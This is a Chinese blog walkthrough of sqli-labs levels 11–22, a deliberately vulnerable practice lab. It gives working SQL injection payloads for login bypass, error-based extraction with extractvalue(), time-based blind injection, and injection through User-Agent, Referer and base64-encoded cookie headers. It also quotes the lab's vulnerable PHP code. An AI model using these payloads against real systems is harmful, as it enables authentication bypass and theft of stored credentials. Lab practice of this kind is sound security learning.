sqli-labs 11-20关通关指南(详细解读)

前言:这里的关卡多为post注入,故结合burpsuite进行抓包分析

Less-11

1、post注入,先在username输入admin’,password随便输,返回错误信息,从错误信息可知在username处应该有注入点,且可能为字符注入类型:

sqli-labs 11-20关通关指南(详细解读)_第1张图片

抓包:

sqli-labs 11-20关通关指南(详细解读)_第2张图片

sqli-labs 11-20关通关指南(详细解读)_第3张图片

2、加上万能语句or 1=1#,修改为admin’ or 1=1#,发现登陆成功,而且用户默认为dumb,可确定为字符型注入:

sqli-labs 11-20关通关指南(详细解读)_第4张图片

sqli-labs 11-20关通关指南(详细解读)_第5张图片

3、order by确定列数,确定为2:

image-20211107213252967

image-20211107213303511

image-20211107213420054

image-20211107213439520

4、开始爆破数据库、表名、列名:

数据库名:image-20211107213759833

image-20211107213810888

表名:image-20211107214017615

sqli-labs 11-20关通关指南(详细解读)_第6张图片

列名:image-20211107214222286

sqli-labs 11-20关通关指南(详细解读)_第7张图片

5、爆破用户名、密码:

image-20211107214450375

sqli-labs 11-20关通关指南(详细解读)_第8张图片


less-12

1、先尝试admin’,发现无回显,则有可能是双引号字符注入。修改为admin",报错,从报错信息可知是("")方式闭合字符串,故再修改为admin") or 1=1#,密码随便设123,登录成功:
sqli-labs 11-20关通关指南(详细解读)_第9张图片

sqli-labs 11-20关通关指南(详细解读)_第10张图片

image-20211107215433712

image-20211107215445008

2、接下来爆破数据库名、表名、列名、用户名以及密码,步骤类似第十一关,在此不再赘述。


Less-13

1、依旧先尝试admin’,回显报错,从报错信息可知应该为(’’)方式闭合字符串。修改为admin’) or 1=1# ,发现无回显,说明正常信息不回显,但正常信息可以回显,在使用不了联合查询,所以可以采用基于报错的盲注:

在此采用extractvalue()语句进行报错,关于extractvalue()与updatexml()语句的讲解可参考这篇博客:https://blog.csdn.net/zpy1998zpy/article/details/80631036

sqli-labs 11-20关通关指南(详细解读)_第11张图片

sqli-labs 11-20关通关指南(详细解读)_第12张图片

修改为admin’) or 1=1# :

image-20211107221509662

image-20211107221517823

2、采用extractvalue()报错回显,先爆破数据库名:
uname=admin’) and extractvalue(1,concat(’~’,(select database()),’~’))#&passwd=123&submit=Submit

image-20211107224019934

image-20211107222829294

3、依次爆破表名、列名、用户名以及密码,方法类似前面关卡,在此不再赘述。


Less-14

与第十三关类似,此处为基于报错的双引号盲注,只需修改为admin"即可

image-20211107224055534

image-20211107223612655


Less-15

尝试admin’、admin"、加上括号等情况,都不回显,说明有可能为时间盲注,采用if语句、sleep()函数,并且经过多次尝试,可知为单引号盲注:

uname=admin’ and if(substr((select database()),1,1)=‘s’,sleep(5),1)#&passwd=123&submit=Submit

页面经过5s后响应,说明确实为时间盲注,接下来一个一个字符进行爆破,与前面的关卡less-9类似,在此不再赘述。


Less-16

与第十五关唯一不同的点是双引号盲注,其他步骤一样。

uname=admin" and if(substr((select database()),1,1)=‘s’,sleep(5),1)#&passwd=123&submit=Submit


Less-17

1、无论username输入什么,回显都不变,说明有可能在password存在注入点。username输入admin,password输入1’,报错,从报错信息可知,存在基于报错信息的单引号注入:

sqli-labs 11-20关通关指南(详细解读)_第13张图片

sqli-labs 11-20关通关指南(详细解读)_第14张图片

利用extractvalue()报错注入,得到数据库名:

uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select database()),’~’))#&submit=Submit

image-20211108001603996

image-20211108001613495

在这里查看源码确定一下:

// 过滤函数
function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		// return the interger value of the variable
		$value = intval($value);
		}
	return $value;
	}

//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

果然发现对username做了过滤操作,而password没过滤。

2、仿照前面关卡,依次得到表名、列名等。

3、到了爆破用户名以及密码时,开始出现与前面不同的报错。

先按照老套路爆破用户名,发现报错,image-20211108154225767

image-20211108154317639

错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

查看源码,应该是update语句引起的报错::

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

修改为:

uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select username from (select username from users) limit 0,1),’~’)) #&submit=submit

image-20211108212404091

还是报错,从报错信息可知需要为派生表添加一个别名,则修改为:

uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select username from (select username from users)a limit 0,1),’~’)) #&submit=submit

image-20211108153927677

image-20211108153955336

成功爆破出用户名,然后通过修改limit的值,则可爆出其他的用户名。

4、爆破密码,爆出密码为1,以此类推:

image-20211108155450602

image-20211108155500432

在网上查到可以用sqlmap扫描出用户名以及密码,参考此文https://blog.csdn.net/weixin_43606134/article/details/106126537?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link:


Less-18

1、尝试对username、password进行注入,都只是回显ip,当输入正确的用户名与密码时,回显user agent,说明只有在用户名、密码正确的前提下,才能实现注入。

用bp抓包,尝试修改agent为1,回显agent为1,说明可以修改agent。再修改为1’,回显报错,且为单引号注入,说明可以利用agent实现注入:

image-20211108162438599

sqli-labs 11-20关通关指南(详细解读)_第15张图片

本关实际为UA注入,修改为:

User-Agent: 1’ and extractvalue(1,concat(’`’,(select database()),’~’)) or ’

image-20211108162408080

sqli-labs 11-20关通关指南(详细解读)_第16张图片

成功爆破出数据库名。

为什么不是在后面添加注释符了,而是添加单引号呢?咱们先查看源码:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

若注释了后面的内容,则会造成语句匹配不成功,注入不了,所以只能拼接到sql语句中。

2、继续修改查询语句,跟前面关卡类似,这里不再赘述。


Less-19

与第十八关类似,这关在referer中存在注入,同样用bp抓包:

Referer: 1’ and extractvalue(1,concat(’~’,(select group_concat(username,’-’,password) from users),’~’)) or ’

image-20211108173656512

sqli-labs 11-20关通关指南(详细解读)_第17张图片


Less-20

这关在cookie存在注入,输入正确的用户名以及密码,回显一堆信息。再查看源码,发现username与password都采取了过滤操作,而cookie存在注入点:

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$cookee = $_COOKIE['uname'];

同样用bp抓包爆破:

Cookie: uname=admin’ and extractvalue(1,concat(’~’,(select group_concat(username,’-’,password) from users),’~’))#

image-20211108181333479

sqli-labs 11-20关通关指南(详细解读)_第18张图片


Less-21

1、懒得找注入点了,直接看源码

$cookee = base64_decode($cookee);
echo "
"
; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result);

发现注入点应该是cookie,但从$cookee = base64_decode($cookee)这句可以看出,cookie是经过base64加密后才注入的,往前面找源码也发现了base64加密这个操作,所以猜想正确,直接加密开干:

setcookie('uname', base64_encode($row1['username']), time()+3600);	

2、从源码也发现是(’’)这种方式闭合字符串,故先尝尝鲜:1’) union select 1,2,3#,经过base64加密,再加到cookie:
sqli-labs 11-20关通关指南(详细解读)_第19张图片

image-20211108210532388

sqli-labs 11-20关通关指南(详细解读)_第20张图片

发现了三个显示位,从源码也发现确实如此。

3、按照之前的关卡直接爆出数据库名、表名、列名,在这里我直接展示获取用户名以及密码:

1’) union select 1,group_concat(username),group_concat(password) from users#

base64加密:

sqli-labs 11-20关通关指南(详细解读)_第21张图片

image-20211108211149912

sqli-labs 11-20关通关指南(详细解读)_第22张图片


Less-22

这关与第二十一关相似,区别在于是以""闭合字符串的,故修改一下即可:

1” union select 1,group_concat(username),group_concat(password) from users#

base64加密:

sqli-labs 11-20关通关指南(详细解读)_第23张图片

image-20211108212611753

image-20211108212626240

到此,sqli-labs的basic challenges关卡全部通关,接下来有时间将会更新剩下的关卡通关指南,感谢阅读。


小总结

sqli-labs 11-20关通关指南(详细解读)_第24张图片

这是第一大关的关卡总图,我们可以将这些关卡总结如下:

  • 基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
  • 基于时间的盲注检测(和基于布尔的检测有些类似,通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 。如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
  • 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出))
  • 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 ,则使用union联合查询搭配concat还进行获取更多的信息)

and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )

  • 基于时间的盲注检测(和基于布尔的检测有些类似,通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 。如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
  • 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出))
  • 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 ,则使用union联合查询搭配concat还进行获取更多的信息)

你可能感兴趣的:(sqli-labs闯关,sql,数据库,database,网络安全)